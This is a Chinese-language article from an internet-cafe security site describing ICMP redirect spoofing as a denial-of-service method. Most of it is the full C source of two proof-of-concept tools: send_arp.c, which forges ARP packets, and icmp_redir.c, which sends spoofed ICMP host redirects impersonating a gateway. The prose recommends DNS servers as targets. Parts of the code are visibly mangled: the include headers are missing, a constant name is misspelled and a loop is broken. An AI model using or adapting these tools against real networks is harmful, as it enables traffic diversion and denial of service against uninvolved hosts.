天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

ARP欺骗和ICMP欺骗催生新DOS工具

2009-8-11赛迪网佚名

  二、ICMP重定向

  另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议——ICMP重定向。这种重定向通常是由你的默认路由器发来的,通告你有一个到达某一网络的更近的路由。最初,既可以通告网络重定向,也可以通告主机的重定向,但是现在,由于网络重定向被否决,仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包(必须由默认路由器发来,发向重定向机器,新的路由应该是一个网络的直接连接等等),接收者会对系统的路由表进行更新。

  这是ICMP的安全问题。伪装一个路由器的IP地址是简单的,icmp_redir.c正是作的这个工作。RFC声明系统必须遵循这个重定向,除非你是路由器。实际上几乎所有的系统都支持这一点(除了vanilla Linux 2.0.30)。

  ICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新,路由表不存在的过期问题。并且不需要在本地网络,你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后(包确切抵达),目标就不会再和网络上的一些机器进行通讯(是的,并不是所有的机器,但是一些与目标机器不在同一个网络上的机器)。域名服务器会是一个非常好的攻击目标。

  /* send_arp.c

  这个程序发送ARP包,由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下,

  也可以运行在其它的有SOCK_PACKET的Unix系统上。

  这个程序是对上述理论的验证,仅此而已。

  */

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #include

  #define ETH_HW_ADDR_LEN 6

  #define IP_ADDRR_LEN 4

  #define ARP_FRAME_TYPE 0x0806

  #define ETHER_HW_TYPE 1

  #define IP_PROTO_TYPE 0x0800

  #define OP_ARP_REQUEST 2

  #define DEFAULT_DEVICE "eth0"

  char usage[]={"send_arp: sends out custom ARP packet.n

  tusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn"};

  struct arp_packet {

  u_char targ_hw_addr[ETH_HW_ADDR_LEN];

  u_char src_hw_addr[ETH_HW_ADDR_LEN];

  u_short frame_type;

  u_short hw_type;

  u_short prot_type;

  u_char hw_addr_size;

  u_char prot_addr_size;

  u_short op;

  u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

  u_char sndr_ip_addr[IP_ADDR_LEN];

  u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

  u_char rcpt_ip_addr[IP_ADDR_LEN];

  u_char padding[18];

  };

  void die(char *);

  void get_ip_addr(struct in_addr*,char*);

  void get_hw_addr(char*,char*);

  int main(int argc,char** argv){

  struct in_addr src_in_addr,targ_in_addr;

  struct arp_packet pkt;

  struct sockaddr sa;

  int sock;

  if(argc != 5)die(usage);

  sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));

  if(sock<0){

  perror("socket");

  exit(1);

  }

  pkt.frame_type = htons(ARP_FRAME_TYPE);

  pkt.hw_type = htons(ETHER_HW_TYPE);

  pkt.prot_type = htons(IP_PROTO_TYPE);

  pkt.hw_addr_size = ETH_HW_ADDR_LEN;

  pkt.prot_addr_size = IP_ADDR_LEN;

  pkt.op=htons(OP_ARP_REQUEST);

  get_hw_addr(pkt.targ_hw_addr,argv[4]);

  get_hw_addr(pkt.rcpt_hw_addr,argv[4]);

  get_hw_addr(pkt.src_hw_addr,argv[2]);

  get_hw_addr(pkt.sndr_hw_addr,argv[2]);

  get_ip_addr(&src_in_addr,argv[1]);

  get_ip_addr(&targ_in_addr,argv[3]);

  memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);

  memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

  bzero(pkt.padding,18);

  strcpy(sa.sa_data,DEFAULT_DEVICE);

  if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){

  perror("sendto");

  exit(1);

  }

  exit(0);

  }

  void die(char* str){

  fprintf(stderr,"%sn",str);

  exit(1);

  }

  void get_ip_addr(struct in_addr* in_addr,char* str){

  struct hostent *hostp;

  in_addr->s_addr=inet_addr(str);

  if(in_addr->s_addr == -1){

  if( (hostp = gethostbyname(str)))

  bcopy(hostp->h_addr,in_addr,hostp->h_length);

  else {

  fprintf(stderr,"send_arp: unknown host %sn",str);

  exit(1);

  }

  }

  }

  void get_hw_addr(char* buf,char* str){

  int i;

  char c,val;

  for(i=0;iif( !(c = tolower(*str++))) die("Invalid hardware address");

  if(isdigit(c)) val = c-'0';

  else if(c >= 'a' && c <= 'f') val = c-'a'+10;

  else die("Invalid hardware address");

  *buf = val << 4;

  if( !(c = tolower(*str++))) die("Invalid hardware address");

  if(isdigit(c)) val = c-'0';

  else if(c >= 'a' && c <= 'f') val = c-'a'+10;

  else die("Invalid hardware address");

  *buf++  = val;

  if(*str == ':')str++;

  }

  }

  /* icmp_redir.c

  本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30上测试通过,并且对大多数的Unix机器有效。

  这个程序是对上述理论的验证,仅此而已。

  */

  #include

  #include

  #include

  #include

  #include

  #include
  #include

  #include

  #include

  #include

  #include

  #include

  #define IPVERSION 4

  struct raw_pkt {

  struct iphdr ip; /* This is Linux-style iphdr.

  Use BSD-style struct ip if you want */

  struct icmphdr icmp;

  struct iphdr encl_iphdr;

  char encl_ip_data[8];

  };

  struct raw_pkt* pkt;

  void die(char *);

  unsigned long int get_ip_addr(char*);

  unsigned short checksum(unsigned short*,char);

  int main(int argc,char** argv){

  struct sockaddr_in sa;

  int sock,packet_len;

  char usage[]={"icmp_redir: send out custom ICMP host redirect packet.

  yuri volobuev'97n

  tusage: icmp_redir gw_host targ_host dst_host dummy_hostn"};

  char on = 1;

  if(argc != 5)die(usage);

  if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){

  perror("socket");

  exit(1);

  }

  sa.sin_addr.s_addr = get_ip_addr(argv[2]);

  sa.sin_family = AF_INET;

  packet_len = sizeof(struct raw_pkt);

  pkt = calloc((size_t)1,(size_t)packet_len);

  pkt->ip.version = IPVERSION;

  pkt->ip.ihl = sizeof(struct iphdr) >> 2;

  pkt->ip.tos = 0;

  pkt->ip.tot_len = htons(packet_len);

  pkt->ip.id = htons(getpid() & 0xFFFF);

  pkt->ip.frag_off = 0;

  pkt->ip.ttl = 0x40;

  pkt->ip.protocol = IPPROTO_ICMP;

  pkt->ip.check = 0;

  pkt->ip.saddr = get_ip_addr(argv[1]);

  pkt->ip.daddr = sa.sin_addr.s_addr;

  pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

  pkt->icmp.type = ICMP_REDIRECT;

  pkt->icmp.code = ICMP_REDIR_HOST;

  pkt->icmp.checksum = 0;

  pkt->icmp.un.gateway = get_ip_addr(argv[4]);

  memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));

  pkt->encl_iphdr.protocol = IPPROTO_IP;

  pkt->encl_iphdr.saddr = get_ip_addr(argv[2]);

  pkt->encl_iphdr.daddr = get_ip_addr(argv[3]);

  pkt->encl_iphdr.check = 0;

  pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),

  sizeof(struct iphdr));

  pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),

  sizeof(struct raw_pkt)-sizeof(struct iphdr));

  if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {

  perror("setsockopt: IP_HDRINCL");

  exit(1);

  }

  if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){

  perror("sendto");

  exit(1);

  }

  exit(0);

  }

  void die(char* str){

  fprintf(stderr,"%sn",str);

  exit(1);

  }

  unsigned long int get_ip_addr(char* str){

  struct hostent *hostp;

  unsigned long int addr;

  if( (addr = inet_addr(str)) == -1){

  if( (hostp = gethostbyname(str)))

  return *(unsigned long int*)(hostp->h_addr);

  else {

  fprintf(stderr,"unknown host %sn",str);

  exit(1);

  }

  }

  return addr;

  }

  unsigned short checksum(unsigned short* addr,char len){

  register long sum = 0;

  while(len > 1){

  sum += *addr++;

  len -= 2;

  }

  if(len > 0) sum += *addr;

  while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

  return ~sum;

  }

本文来源:赛迪网 作者:佚名

声明
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。文章是出于传递更多信息之目的。若有来源标注错误或侵犯了您的合法权益,请作者持权属证明与本网联系,我们将及时更正、删除,谢谢。 Email:support@txwb.com,系统开号,技术支持,服务联系微信:_WX_1_本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行